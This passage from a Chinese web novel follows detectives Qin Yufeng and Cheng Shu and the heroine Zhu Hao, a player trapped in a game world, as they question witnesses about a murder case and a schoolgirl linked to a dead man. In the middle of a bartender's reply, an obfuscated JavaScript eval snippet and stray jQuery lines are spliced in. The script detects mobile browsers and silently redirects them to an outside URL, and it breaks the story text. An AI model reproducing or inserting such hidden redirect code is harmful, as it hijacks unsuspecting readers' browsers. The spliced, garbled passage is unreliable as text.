秦聿风“啧”了一声,伸手指他:“你看,又来,要不我帮你剪了吧。”说着从办公桌上拿起一把剪刀作势要去揪他的头发。
祝好捧着咖啡无奈地看着他们,心想两个加起来快六十岁的人怎么还那么幼稚,跟小学生扯头花似的。
一个高个子警员风风火火来到办公室门口,敲了敲门,打断了他们的口水战:“秦队,出租车公司那边有消息了,那天晚上受害者从日料店出来后去了一家酒吧。”
秦聿风迅速收起剪刀,换回一副正襟危坐的模样,点了点头:“位置发给我,我们去一趟。”
*
酒吧在闹市区一条巷子里,从门头的设计上是家清吧,前来消费的多是老客人。
这个点儿酒吧还没有营业,里面灯光昏暗,只有一个店员在吧台后面擦拭玻璃杯。
听到门口撞铃发出的声响,他头也不抬,漫不经心地说了句:“抱歉,我们七点过后才营业。”
秦聿风径直走到吧台前,胳膊搭在桌上,拿出警官证在他眼前晃了一下:“你好,警察,有几个问题想问你。”
店员立刻停下手里的活:“警察同志,有什么要问的,我一定配合。”
秦聿风掏出手机,找出唐芸的照片递给他:“你见过这个女孩吗?”
店员接过手机看了几眼:“我认得她,她经常来,是我们的老客人了。”
“你最后一次见到她是什么时候?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15000023|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好像是前天……”他想了想,又说:“不对,应该是大前天的晚上。”
秦聿风又问:“你仔细回想一下,那天她有什么异常吗?”
店员眼珠子斜向左上方,认真思索了一会儿,才道:“那天她一个人坐在吧台,喝了很多酒,看起来情绪很低落。我跟她还算熟吧,当时也劝了她几句,让她别喝那么多,但她不听,还一直问我她是不是不够漂亮之类的话。”
“后来有几个男人过来跟她搭讪,看她喝得醉醺醺的,想动手动脚。我还没来得及阻止呢,就有个女孩儿过来把那几个男的赶跑了,又坐到她旁边跟她聊了几句,看样子她们好像是认识的。”
秦聿风皱眉:“你记得那个女孩儿长什么样吗?”
店员摇了摇头:“我当时忙着调酒也没太注意,只记得她是长头发,长得挺好看的。”
“她们是几点离开的?”
店员回答:“后来吧台没什么客人,我就到后厨帮忙了,等我忙完出来时她们已经走了,当时应该是晚上十点左右吧。”
秦聿风还想继续问些什么,手机却响了起来。
他从口袋里掏出一个U盘递给程述,又指了指酒柜上方的摄像头,转身出门接电话去了。
程述心领神会,向店员询问:“那个监控的内容能看吗?”
店员顺着他的眼神看去,尴尬地挠了挠头:“可以是可以,不过那个摄像头只是防止有人进柜台来偷酒的,拍不到吧台。”
程述点头表示理解,把U盘放在吧台上:“没关系,麻烦把视频拷一份给我们。”
店员应了一声,拿起U盘转身进了房间。
等他拷贝好视频出来时,秦聿风刚好急匆匆推开门进来,对着程述扬了扬下巴:“先回局里一趟,我们抓到了一个嫌疑人。”
*
回到警局里,警员递来一份文件:“秦队,嫌疑人名叫蒋涛,52岁,是森林公园的管理员,那个游乐场关停之前他就在里面任职,对鬼屋的设备也很了解。”
透过单向玻璃,祝好看到缩着身子坐在审讯椅里的蒋涛,他皮肤黝黑,身材瘦弱,脸上还有一块新鲜的擦伤,公园的工作服穿在他身上显得有些松垮。
他看起来也比实际年龄要沧桑许多,凹陷的双眼像是被人剜了两个洞,头发已经白了大半,神情也透露出疲惫。
秦聿风打开文件,里面是蒋涛的资料。
他边翻阅边问:“怎么抓到他的?”
警员回答:“他是那天晚上值班的管理员,可我们在查公园的排班时得知他是特地跟其他人换的班,接受询问时他神色就不太对劲,慌慌张张的,刚说了没几句突然转身就跑,幸亏被我们给追上了。”
“辛苦了。”秦聿风拍了拍警员的肩膀,继续低头看手里的资料,眉头突然皱起来:“蒋涛……我怎么觉得这个名字有些耳熟呢?”
“他是——”
一直一言不发的程述突然开口,话说到一半却顿住了。
他抱着双臂,喉结轻滚,双眼直勾勾看着审讯室里的蒋涛。
停顿片刻,才继续道:“指甲油杀手案的第一个受害者,蒋婷婷的父亲。”
30-40
第31章
祝好洗完澡从卫生间里出来时,倚靠在沙发上的程述突然叫住了她:“小助手,过来一下。”
“干什么?”有了白天的经历,祝好对这几个字有些应激。
程述侧身把T恤掀到脖子上,露出紧实的背部线条:“你不打算为你今天的行为负责了吗?”
什么意思?不会摔了一下就要她以身相许吧?
祝好抱着浴巾后退了几步,眼角眉梢写满了戒备。
看她迟迟没有行动,程述扭过头不耐烦地指了指茶几上的药箱:“愣着干什么呢,来帮我上个药。”
祝好定睛一看,才发现他背上有一大片淤青。
没想到白天那一下会摔得那么严重,她有些过意不去,口是心非地道了个歉:“不好意思啊,今天我不是故意的。”
程述淡淡地“嗯”了一声:“我知道。”
她坐到沙发边上,从药箱里拿起一瓶云南白药气雾剂摇了摇,滋啦往他背上一顿喷,心想你知道个屁啊,我就是故意的。
谁让他当着那么多人的面要她做那么尴尬的事,更别说人群中还有两个可攻略对象。万一要是出了什么差池导致攻略失败,那她岂不是永远都回不去了?
然而他这副宽容大度的模样倒让祝好有些愧疚了,甚至开始反思自己是不是有公报私仇之嫌。
喷完云南白药,程述又从药箱里翻出一块跌打损伤膏药贴递给她:“帮我贴上,好得快。”
膏药气味刺鼻,祝好皱了皱眉,撕开背面的塑料膜。
他靠在沙发上,没头没脑地说了一句:“不过我受伤确实是你的责任,我还要给你当司机,简直太辛苦了。要不这样吧,从明天开始你负责给我端茶倒水,没事的时候帮我揉肩捏背什么的,我勉强可以原谅你。”
祝好动作一顿,愤然道:“还揉肩捏背,要不要我顺便伺候你沐浴更衣啊?”
“可以吗?”程述扭过头认认真真地看了她一眼,似乎在思考这个方案的可行性。
世上怎么会有如此厚颜无耻之人!
刚才生出的那一点儿愧疚瞬间荡然无存,祝好“pia”一下地把那张膏药拍在他背后淤青的地方:“当然不可以!”
他嗷地叫出声来,回过头咬牙切齿道:“你这一天天的下手也没个轻重,我早晚得死你手里。”
祝好心想那最好不过了。
她耸了耸肩,再次口是心非地道了个歉:“不好意思啊,我只是想帮你贴牢点,不然动两下就翘边了。”
程述吁了口气,捂着腰趴在沙发上开始发号施令:“我渴了,帮我拿瓶喝的。”
祝好翻了个白眼,起身走到厨房打开冰箱拿了罐啤酒,冰箱门还没关上,就听到他远程遥控:“不要啤酒,要苏打水。”
她这才发觉,自从许安宁那件事之后,已经好几天没看他喝过酒了,便把啤酒放回冰箱,拿了瓶苏打水搁在茶几上,试探性开口:“许安宁现在怎么样了?”
程述拧开瓶盖,面无表情道:“不知道,问你秦警官去,这已经超出我的工作范围了。”
祝好又问:“那你还会继续查指甲油杀手吗?”
虽然不知道接下来还有多少剧情要走,但毕竟这是主线任务,无论如何都得完成。
程述表情滞了一下,语气也严肃了些:“如果他出现了,我肯定要查。”
“那你觉得他还会出现吗?”
被问得烦了,他揉了揉太阳穴,下了逐客令:“别问了,吵得我腰疼,不想伺候我沐浴更衣就赶紧回阁楼睡觉去吧。”
祝好咬了咬嘴唇,卯足了劲儿又往他背上那块膏药的位置拍了一巴掌,并在他发火之前恶人先告状:“都说让你别动了,翘边了吧?”
*
今天的仇也没有隔夜再报,祝好心情不错,回到阁楼躺在沙发床上翘起了二郎腿。
白眼狼大概是嫌弃程述身上的膏药味,也不像往常一样黏着他了,退而求其次跟着祝好上了阁楼,翻着肚皮躺在她枕头边。
翻来覆去好一会儿也没有睡意,祝好想了想,唤出系统。
“宿主,有什么事吗?”
其实没什么事,就是单纯睡不着想找个人闲聊,但屋里除了不会说话的白眼狼,就剩下还不如不会说话的程述。
她没话找话:“有件事我一直挺好奇的,我在这个游戏里到底是什么身份?”
这个问题她设想过很多次:是隐藏的反派,身世成谜的神秘少女,还是被选召来拯救世界的救世主?
系统无情地打破了她的幻
想:“宿主,您的身份就是‘您’。在我们的设定里,故事是从您进入游戏开始的,所以您并没有什么隐藏身份。”
祝好有些失望,原来游戏里的自己跟现实中一样平平无奇。
脑海中又浮现出另一个问题,她问:“那些NPC……我是说,秦聿风和温珣呢?”
警局的系统里根本查不到她的身份,按理来说,特别是身为警察的秦聿风应该会怀疑她才对,可为什么这里的每个人都能坦然地接受她的存在呢?
系统回答:“虽然NPC有了自己的意识,但还是保留着一些初始的底层核心设定,所以他们暂时能接受您的存在,不过——”
又来了,每次说到重要的地方都要吊她的胃口。
她没好气:“能不能一次把话说完?”
系统犹豫了一下:“不过我也说不准他们什么时候会完全觉醒,以及觉醒后会做出什么举动。”
祝好头皮一麻——
也就是说,秦聿风和温珣目前对莫名出现在这个世界中的她表现出来的亲切友好,完全是基于他们底层的核心代码,甚至是他们的本能。
一旦他们的意识觉醒,就一定会对她的身份产生产生怀疑,到时别说去攻略他们了,就连如何解释自己的来历都是个问题。
她叹了口气:“我问你个问题,你一定要跟我说实话。”
“您说。”
“只要通关了我就一定能回到现实世界吗?”
系统沉默了一会儿才说:“宿主,我只能保证,成功通关了就能离开游戏。”
祝好发觉到不对劲了,这似乎是个文字游戏——
能离开游戏,不代表能回到现实世界。
她小心翼翼地问:“我不会永远也回不去了吧?”
系统语焉不详:“抱歉,宿主,我们一定会尽力修复这个bug的。天色不早了,您还是早点休息吧。”
没等祝好再次发问,它就默默下线,并且再也不肯出现了。
不会吧?不会吧?自己真的要永远呆在这个游戏世界里了吗?
祝好满心怨愤无处发泄,把脸埋进白眼狼的肚皮里,眼泪差点流下来。
她可太惨了,没谈过恋爱有错吗?喜欢玩推理游戏有错吗?
凭什么莫名其妙来到这个乙游里,又莫名其妙差点死掉的偏偏是她?
这破游戏不给她安排一个牛X的身份也就算了,连个住的地方都没有,害得她还要寄人篱下,成为一个讨厌鬼的助手,甚至不知道千辛万苦过完剧情后,自己到底能不能回到现实世界。
虽然这个世界也挺有趣,但如果真的再也回不去,要怎么办才好呢?
她还那么年轻,生活还那么美好,电脑里还有那么多小黄漫没来得及删除……
白眼狼当然不懂她的悲愤,但今天少见地没有挣扎跑掉,甚至在她怀里发出了享受的咕噜声。
祝好其实一直很想养只猫,但她刚毕业没多久,找不到合适的工作,只能每天窝在房间里打游戏,连自己都快养不活,别说养猫了。
没想到现实生活中做不到的事,倒在游戏中实现了。
她突然想到什么,一骨碌爬起来打开控制面板,点开商城里服饰那一栏,发现前面几页blingbling的礼服果然都换成了一些日常服饰,而且每件都只需要5积分。
这个游戏居然也有良心发现的时候!
祝好看了下剩余的375点积分,决定兑换几件好看的衣服哄自己开心。
牛仔裤、T恤是一定要有的,百搭又方便;小裙子也来两件,毕竟女孩子都爱美嘛。
加上一些零零散散的小饰品,全部兑换下来居然也才花了50积分,轻轻一点确认,衣服就整整齐齐出现在床头。
享受了买买买的快乐,又免去了逛街的麻烦,连等快递的时间都省了。
发泄完购物欲,祝好心里舒服多了。
这么一想,现在的生活其实还不错,能沉浸式参与破案,还有帅哥包围。
虽然不知道将来会面对什么,但活在当下最重要,以后的事以后再说吧。
她抱着毯子望着天花板发呆,轻叹了口气,喃喃道:“老爸,我现在算不算是以另一种方式,实现了你的愿望呢?”
*
警局里,三五个警员两班倒熬了一整个通宵,一遍遍排查着酒店附近的监控记录,试图找到那个神秘女人的身影,却一无所获。
身为队长的秦聿风也没搞特殊,他盯着电脑屏幕上活动不停的监控,烟灰缸里的烟屁股都快堆成一座小山了。
推开他办公室的门,一股浓重的烟味混杂着泡面味就扑面而来。
祝好不自觉咳了几声,秦聿风抬眼看到她和程述,说了句抱歉,把手里的烟摁灭了。
程述一把勾住他的脖子,幸灾乐祸道:“老秦,昨晚睡得好吗?有没有查到什么好东西?”
秦聿风眼里布满红血丝,严重的睡眠不足把他的好脾气消磨殆尽。
他一把将程述推开,不耐烦道:“滚滚滚,别烦我。”
祝好把在楼下买的咖啡放到桌上,顺手帮他插上吸管:“秦警官,喝杯咖啡提提神吧。”
秦聿风感激地道了声谢,接过咖啡喝了一口。
系统突然响起提示音:“与秦聿风的好感度+5,获得50积分。”
诶?上次送咖啡没用,这次居然起效了。
难道是因为上回他没熬夜太久,对咖啡的需求没那么高吗?
还是说,带着目的性的讨好,跟发自内心的关怀会有不一样的效果?
喝了咖啡,秦聿风的语气也缓和许多,解释道:“酒店地处市中心繁华街道,附近两公里内,排除掉没有监控和监控损坏的路口,一共有32个摄像头,我们要把这32个摄像头12小时内拍摄的内容都看一遍,目前还没发现什么线索。”
工作量那么大,难怪整个警局上上下下都累翻了。
祝好想了想:“秦警官,不然你睡会儿,我们帮你看。”
秦聿风摇头:“不用,这怎么好意思呢?我喝了咖啡应该能精神点儿。”
程述也贱兮兮地附和:“就是,秦警官喝了爱心咖啡,应该还能再熬两宿。”
祝好白了程述一眼,又转向秦聿风:“真没事,你去歇一会儿吧,不然身体会吃不消的。”
秦聿风大概确实累得不行,略微思考了一下就没再推辞,拍了拍程述的肩膀道:“那我去沙发上躺半个小时,辛苦你们帮我盯一会儿。”
“刚才还说不好意思。”程述不情不愿地哼了一声,把椅子移到电脑屏幕前,接替了他的工作。
秦聿风略微放松了一些,躺倒在办公室的沙发上。果然再浓的咖啡也抵挡不住熬了一整夜的困倦,不到十秒钟他就睡着了,发出均匀的呼吸声。
祝好拉了张椅子坐在程述旁边,跟他一起看起了监控记录。
不知不觉两个小时过去了,程述也没把秦聿风叫醒,一直全神贯注盯着屏幕,倒是祝好先撑不住了。
她不自觉打了个哈欠,起身松了松筋骨,捶了捶酸胀的腰。
程述突然开口:“等等,往后退10秒钟。”
祝好不满道:“你自己没有手吗?”但还是移动鼠标,把进度条往后拉了一些。
“就这里,暂停。”程述从她手里接过鼠标,放大了监控里的一个模糊的身影,双眼微眯:“这个背影,你看着眼熟吗?”
第32章
那个监控所在的位置是酒店马路对面的公交车站。中午十二点半左右,一个背着书包、穿着校服的短发女孩从公车上走下来,离开监控画面后,再也没有出现过。
视频像素不高,短暂的几秒钟只拍到了她模糊的背影和侧脸,但祝好却无端觉得那个身影有些熟悉。
思忖片刻,一个名字从她脑海中闪过:“方诗言?”
虽然只在吕宏远家见过一面,但祝好记得方诗言也是留着短发,身高跟自己差不多,只是比她稍微瘦弱一些。
程述往桌脚一蹬,连人带椅移到沙发旁边,拍了拍还在熟睡中的秦聿风:“起床了,老秦,找到好东西了。”
秦聿
风条件反射般一骨碌从沙发上坐起来,迷迷糊糊睁开双眼:“找到什么了?”
祝好解释:“我们在监控里发现一个女孩,背影跟方诗言有点相似。”
“方诗言?”秦聿风抓了抓脑袋,顿了几秒钟才反应过来:“哦,是吕宏远家那个远房亲戚吗?”
程述点点头,调出了酒店大堂的监控。
根据之前的调查结果,那个身穿风衣、戴着帽子和墨镜的女人是中午一点钟左右出现在酒店大堂的,与短发女孩下车的时间只相差半个小时。
秦聿风盯着屏幕上那个背影看了许久,思忖了一会儿,皱眉道:“但也不能证明这个女孩就是方诗言。”
——毕竟视频不太清晰,也没有拍到正脸,并不能作为把她带回警局接受问询的证据。
祝好想了想:“那天不是周末,这个女孩又穿着校服,应该是从学校出来的。我觉得可以从这辆公车入手,查一下它的路线有没有经过方诗言就读的学校。”
程述啧了一声:“真不愧是我小助手,才跟我呆了几天,脑瓜子都转得更快了。”
祝好对他翻了个大大的白眼:这家伙还真是会邀功请赏。
秦聿风起身拿起那杯还剩下一半的咖啡一饮而尽:“行,那我们分头行动,我带人去酒店附近找找线索,同时调查方诗言的行踪。老程,辛苦你跟祝小姐再去叶怡然家一趟,向她打听一下方诗言的情况。”
*
隔了两天再次见到祝好和程述,叶怡然有些惊讶:“程先生?你们还有什么事吗?”
“是关于你丈夫吕宏远的事。”程述抹了一把额头上的汗,没脸没皮地笑了一下:“天太热了,我们进去聊吧。”
叶怡然微微皱了下眉,看着有些不情愿,但还是解开了防盗链。
吕可仍坐在落地窗前玩拼图,看到有人进屋,眼底闪过一抹瑟缩,不自觉往角落里挪了一下。
当她认出祝好后,明显放松了一些,远远向她投来一个羞怯的笑。
叶怡然问:“二位要喝点什么吗?”
祝好从她看似客套的语气里察觉到一丝疏离,刚想说不用了,就看到程述拿起柜子上一盒包装精美的茶叶,丝毫没有要跟她客气的意思:“这个看着不错,随便喝一点吧。”
祝好扶着额角,恨不得时间倒退回十分钟前,自己留在车上吹空调等着也比跟他来别人家里丢脸要好得多。
叶怡然倒是没有太在意,从他手里接过茶叶,又转向吕可道:“可可,妈妈有事要和叔叔阿姨聊,你先回房间画画好吗?”
吕可乖巧地点点头,抱起拼图回了房间里。
趁着叶怡然泡茶的当儿,程述自来熟地背着手在客厅里转悠起来。
祝好坐在沙发上环顾四周,发现墙上的名家名画,架子上摆着的红木雕件都不见了,角落里有一个半开着的大号行李箱,隐约可以看到里面装着一些衣服。
不多时,叶怡然从厨房里出来,把两只杯子放在茶几上,对他们礼貌地笑了一下:“程先生,祝小姐,喝茶。”
祝好端起茶杯喝了一口,一股苦涩味在舌尖蔓延开来,不是她喜欢的味道。
她放下杯子砸砸嘴,问道:“可可今天不上学吗?”
叶怡然往房间的方向看了一眼:“哦,我跟学校请了假,让她休息几天。”
“她知道您丈夫的事儿了吗?”
叶怡然垂下眼帘,面色沉郁地点了点头。
客套了几句,程述直入正题:“我们这次来,是想跟你了解一些方诗言的情况。”
叶怡然抬头,面露不解:“诗言?她怎么了吗?”
程述没回答,继续问道:“你上回说,方诗言是吕宏远的远房亲戚?”
叶怡然点头:“诗言的外婆和宏远的爸爸是表兄妹,诗言父亲早逝,母亲又卧病在床,家里经济负担很重,她差点就辍学了。宏远知道后,就把她从小县城接到淮江市读书。”
说完又把刚才的问题重复了一次:“诗言她怎么了吗?”
还没等程述作答,他兜里的手机就响了起来。祝好瞥了眼他屏幕上的来电显示,是秦聿风。
他给祝好递了个眼色:“我去接个电话,你们接着聊。”
聊?聊什么?
祝好一时不知说些什么好,担心自己问了什么不该说问的话。
她尴尬地抬起杯子又喝了一口茶,思虑半天,硬着头皮选了个不那么敏感的问题:“叶女士,诗言和你们的关系怎么样?”
叶怡然脸上闪过一丝疑惑,似乎是想不明白她为什么要这么问,但还是回答:“她一个人来到陌生的城市读书,我们就是她在这儿唯一的亲人。”
答是答了,但语焉不详,完全避开了重点。
祝好看了眼还在阳台上打电话的程述,又问:“对了,上次我来看到墙上挂着挺多字画,怎么这回都没了?”
叶怡然干笑一下:“哦,我怕自己睹物思人,所以就收起来了。”
说话间,祝好余光看到程述终于挂了电话,从阳台回到客厅。还没等她松一口气,就听到他问:“叶女士,你有没有怀疑过你丈夫的出轨对象是方诗言?”
她愣住了:那么直接的吗?
同样愣住的还有叶怡然,她双眉紧皱,嘴巴微张:“程先生,您在开什么玩笑呢?”
程述靠在沙发里翘着二郎腿,十指交叉搭在膝盖上:“警方确认了吕宏远坠楼那天,方诗言曾搭乘公交车到过酒店附近。”
叶怡然满脸惊诧:“不可能,诗言怎么会跟宏远的死有关?”
程述笑了一下:“她跟吕宏远的死有没有关系现在还没有定论,不过话说回来,你跟他们俩朝夕相处,就没察觉到什么不对劲?”
叶怡然咬紧嘴唇,摇了摇头:“我从没往那方面想过。”
程述步步紧逼:“那你又怎么会觉得吕宏远是死于谋杀?”
“我没这么觉得,只是你说了诗言出现在那附近,我才……”叶怡然摸了摸后颈,顿了顿,似乎是想到了新的解释:“而且,如果宏远的死是意外或者自杀,警方应该不会那么大费周章地调查吧。”
程述没再继续追问,换了个话题:“叶女士,问个题外话,你跟你丈夫是怎么认识的?”
这一连串问题让叶怡然心生警觉,语气也变得生硬起来:“程先生,既然是题外话,那应该跟我先生的案子没关系吧?这个问题涉及到我的隐私,我想我应该有权利拒绝回答。”
程述没说什么,只是笑了笑:“嗯,抱歉,是我冒昧了。”
说完低头看了下手表:“那我们今天就先聊到这儿,我多嘴提醒一句,吕宏远的案子还没有结束调查,作为受害者家属,你有义务随时配合警方的调查。”
说着朝角落里的行李箱扬了扬下巴:“所以你的旅行计划,建议延后一段时间。”
叶怡然不自然地笑了一下,看似礼貌地下了逐客令:“好,知道了。我晚点还有事,就不送了。”
临离开时,吕可突然打开房间门,一路小跑穿过走廊,往正在换鞋的祝好手里塞了一幅画。
祝好有些惊喜:“送我的?”
吕可点点头,腼腆地笑了一下,随即又转身跑回了房间里。
*
坐回车里系好安全带,祝好才打开那张画,捧在手里细细端详。
画上是两个并排站着的小人,从穿着和发型上看,画的是她和程述。
她嫌弃地瞥了一眼把着方向盘的程述,心想这孩子画是画得挺好,就是一点儿眼力见也没有,为什么站在自己旁边的会是这个讨人厌的家伙啊。
这时正值晚高峰期,路上车流拥堵。半个小时过去了,车子还没挪出香樟小区大门前的十字路口。
程述大概是等得无聊,手指敲打着方向盘,转向祝好:“小助手,今天的谈话有什么发现吗?”
祝好从吕可的画中收回目光,想了想,点头道:“有。”
“说说看。”
他问得随意,不像是想认真跟她讨论,而更像是无聊时的没话找话,甚至还带了几分戏谑。
祝好对他这样的态度和口吻见怪不怪,皱眉思索了一番后,说出了自己的想法。
第二次见到叶怡然,她依旧觉得她不太对劲。
在从程述口中得知方诗言可能是吕宏远的出轨对象时,她的确表现出了惊讶,但皱眉张嘴的表情在她脸上维持了至少五秒钟。
真正惊讶的表情在脸上不会停留超过一秒钟,说明她的吃惊是伪装的,她应该早就对方诗言和吕宏远的关系有所察觉。
另外,她说话时还会时不时做出摸脖子、撇嘴之类的动作,说明她对某些问题的回答并不自信,并且可能所有隐瞒。
程述轻笑一声:“你对微表情还有研究呢,谁教你的?”
祝好实话实说:“CalLightman*。”
程述被这个突然蹦出来的洋名整懵了:“什么曼?”
“说了你也不认识。”祝好哼了一声,没再理会他,又把注意力放回到那张画上。
与之前不同,吕可送给她的这张画线条更简洁了,也没有使用沉郁的红黑色,而是用了明亮的彩色,那种压抑和沉闷的氛围一扫而空。
如果绘画风格能够反映一个人的心理情况,那么现在的她明显要比之前的状态要好很多。
祝好有些奇怪,难道父亲的死不仅没对她产生任何影响,反而还让她因此感到轻松吗?
第33章
警方那边的调查第二天就有了眉目。
那辆公车的路线的确经过方诗言就读的高中,经过跟学校老师的沟通,证实了她那天早上上完课后向老师请过病假。
与叶怡然说的一样,方诗言的爸爸在她很小的时候就意外去世了,妈妈有严重的糖尿病,没办法外出工作,母女俩全靠父亲的赔偿款度日。
两年前,吕宏远把她接到淮江市,供她读完了初中,又送她去了一所有名的私立高中。
而方诗言的妈妈也住进了小县城最好的医院,还被安排在单人特护病房。
“我们调查了吕宏远的消费记录,发现他在过去一年里购买过很多情趣内衣和洛丽塔服饰,邮寄的地址正是方诗言的学校。”
祝好被这个剧情发展惊得下巴都要掉了:这么炸裂的吗?这玩意儿也敢往学校寄。
“还有更炸裂的呢。”秦聿风扬了扬手里的资料:“方诗言的医疗就诊记录显示,她半年前曾在一家私立医院做过人流手术,而手术单上的家属签字正是吕宏远。”
这基本可以证实,方诗言跟吕宏远之间存在着某种不正当的关系。
祝好咋舌,世界观又被刷新了好几轮:方诗言才刚上高中,而吕宏远都已经快五十岁了,这年龄差本就已经够夸张,更别说他们还是亲戚关系。
大概是见多了这种事,比起她的震惊,程述看起来要平静很多:“她人在哪儿?”
秦聿风低头看表:“已经派人去学校把她带回来了,现在估计快到了。”
*
方诗言被带到警局时身上还穿着校服,祝好一眼就认出她背上的双肩包跟监控里的一模一样。
考虑到方诗言还没有成年,秦聿风没有把她带到审讯室,而是把谈话地点选在了警局的会客室,还请了祝好和另一名女警员陪同。
女警员给她倒了杯温水,方诗言接过水轻道了声谢谢。象征性地抿了一小口后,她把水杯圈在手里,背脊崩得笔直。
秦聿风在她对面坐下,尽量把语气放得很缓和:“方诗言,你知道我们为什么带你来吗?”
方诗言惶恐而迅速地摇了摇头,鼻尖上渗出一层细密的汗珠。
秦聿风没有点破她的反常:“6月14号那天早上上完课你跟学校请了假,之后去了哪里?”
“我,我去了医院。”方诗言小心翼翼地抬起眸子看了秦聿风一眼,答得很犹豫。
“你是有哪里不舒服吗?”
“嗯……我肚子疼。”
就算祝好不是专业的警察,也能听出她语调里的底气不足。
秦聿风继续问:“去了哪家医院?”
方诗言显然没有做好应付这个问题的准备,眼底闪过一抹瑟缩,支支吾吾道:“西州路的……一家医院。”
“人民医院吗?”
“对,人民医院。”
秦聿风点了点头,漫不经心说了句:“人民医院不在西州路上。”
方诗言一愣,浑身微微颤抖,手里水杯的水面晃荡着一圈圈波纹。
秦聿风不动声色地把空调的温度调高了一些,低头翻看手里的资料,把话题拐了个弯:“淮江市最大的医院就在你们学校旁边,既然你肚子疼,为什么还要选择去离学校有七个站的地方看病呢?”
“我……”方诗言一时语塞,只得用沉默去应对。
秦聿风没有把她逼得太紧,他从资料里抽出一份病历递到她面前:“这份病历是你的吗?”
病历中夹着一份超声检查报告单,上面的名字正是方诗言。诊断意见那一栏写着“宫内早孕,孕龄约40天”。
她紧紧咬着嘴唇,似乎是意识到自己根本没办法辩驳,许久才低声嗫嚅道:“是、是我的……”
“那个人是谁?”
方诗言声若蚊蝇:“哪个人?”
秦聿风耐着性子换了个更直接的问法:“让你怀孕的人是谁?是吕宏远吗?”
方诗言没有回答,手中的杯子颤抖着,就连几滴水撒在了手背上也浑然不觉。
祝好从桌上抽了张纸巾递给她,触碰到她的瞬间,发现她的手冰得厉害。
秦聿风起身又打了杯温水放在她面前,声音也软了下来:“那杯凉了,喝这杯吧。”
方诗言接过杯子,低下头,眼眶倏地红了:“警察叔叔,我可以见见小叶姐吗?”
祝好猜到她说的是叶怡然。
秦聿风没有答应,看着她道:“如果有需要,我们可以把你妈妈请来陪你。”
“不!”方诗言闻言飞快地摇头:“先不要告诉我妈妈,我、我想见小叶姐一面,我有话想跟她说。”
虽然方诗言的话到现在为止都漏洞百出,但DNA的比对结果还没有出来,警方并没有直接证据能证明吕宏远的死跟她有关系。
秦聿风嘱咐女警员留在会客室陪着方诗言,然后挥挥手,示意祝好先跟他一起出去。
离开前,祝好回头看了方诗言一眼。她皮肤很白,因为紧张,嘴唇几乎没有一丝血色,睫毛上还挂着泪珠,整个人就像一只受惊的小鹿。
不知为何,祝好的脑海里突然回响起叶怡然说的那句“她们都是好孩子”。
方诗言真的是好孩子吗?
据老师所说,她的成绩在学校一直名列前茅,虽然平时话不多,但待人十分谦逊有礼,没什么心计,深得老师和同学的喜爱,没有人愿意相信她会做出这样的事情。
可如果那天出现在1808号房的人真的是她,她提前准备好乔装的衣服,有意识地避开酒店的监控,离开的时候走的还是消防通道。
一切都不得不让人怀疑,这是她早就做好的计划。
她的乖巧不像是装的,可祝好还是能看出这个女孩有着深不见底的心事。
只是她的
心事,跟吕宏远的死有关系吗?
与她的满腹疑虑相比,程述却是一副事不关己的模样,他躺在秦聿风办公室的沙发上,手里翻着一本“警民一家亲”的宣传手册打发时间。
祝好把椅子拖到他旁边,伸手戳了戳他:“老大,你觉得真的是方诗言把吕宏远推下楼的吗?”
程述头也不抬:“不知道。”
早就料到等待她的会是这样的回答,祝好在心里暗骂了一句,但又不想放弃:“你就没有什么猜测吗?”
程述说:“猜测没有用,我们要做的是推测。”
祝好不解:“有什么区别?”
他终于把宣传手册合上,目光移到祝好脸上:“猜测是没有证据的凭空臆想,而推测是基于一定的事实作出的合理判断。”
呵,这人可真奇怪,重要的事高高挂起,在这种无关紧要的小事上就那么较真。
这么一打岔,祝好的思绪差点被带偏,她把问题拽了回来:“所以你觉得吕宏远的死跟方诗言有关吗?”
程述不耐烦地撇了撇嘴,看了下表:“涉及到凶杀案的DNA检测不需要排队,估计再过几个小时比对结果就能出来了,到时候不就知道了吗?”
祝好十分需要一个人替自己把思路捋清,但警局里她认识的也只有温珣和秦聿风,恰好他们现在又都很忙,眼下闲得不行的只有眼前这位编外人员。
她放低姿态,从饮水机接了杯水双手递给他,谄媚地笑了笑:“我这不是想听听您专业人士的看法嘛。”
程述对这招很受用,接过水喝了一口,反问道:“那你是怎么觉得的?”
“我?”祝好对他把问题抛回来这个做法有些不爽,想了想,说道:“方诗言的很多话前后矛盾,漏洞很多,我觉得就算人不是她推下楼的,她也一定知道些什么。不过……她的杀人动机是什么呢?”
程述似笑非笑看着她:“你觉得是什么?”
祝好捻着下巴:“吕宏远供她读书,又给她妈妈治病,虽然不排除她是被强迫的,可是她可以报警啊!为什么要杀了他呢?”
程述也学着她的样子捻着下巴:“对啊,为什么呢?”
还没等她把这个问题想明白,另一个问题又冒了出来:“还有叶怡然的态度也很奇怪,我觉得她也很可疑,你说会不会是她杀的人?”
随即又很快否认了自己的想法:“不对,秦警官说过,叶怡然那天根本就没出过门,她有充分的不在场证明。”
程述还是笑笑不说话。
祝好总觉得自己遗漏了什么细节,却又一时想不出个所以然。
不过她余光瞥到程述那副讨人厌的笑脸,倒是突然反应过来,这家伙根本没打算跟她讨论,明显是在拿她寻开心而已。
她有些恼火,一把抢过他手里的水杯,把剩下的半杯水倒进窗台上的花盆里,愤愤地离开了办公室。
刚打开门,就正好碰见匆匆走进警局的叶怡然。
叶怡然一眼看到秦聿风,走上前抓住他的手臂,眼眶微红:“警察同志,诗言呢?她、她真的跟宏远的死有关系吗?”
秦聿风轻轻拨开她的手,一脸平静:“现在还不能确定,我们已经采集了方诗言的DNA样本送去与案发现场的生物样本做对比了,请你耐心等待。”
说着请她在一张办公桌旁边坐下,示意警员给她倒了杯水。
待叶怡然稍稍冷静下来,秦聿风也不绕弯子了,直言道:“叶女士,你是不是早就知道方诗言和你丈夫的关系了?”
祝好站在不远处,竖起耳朵认真听。
“我……”叶怡然迟疑了一瞬,似乎也意识到事到如今已经没有撒谎的必要,点了点头:“是,我一直有所怀疑,只是没有证据。”
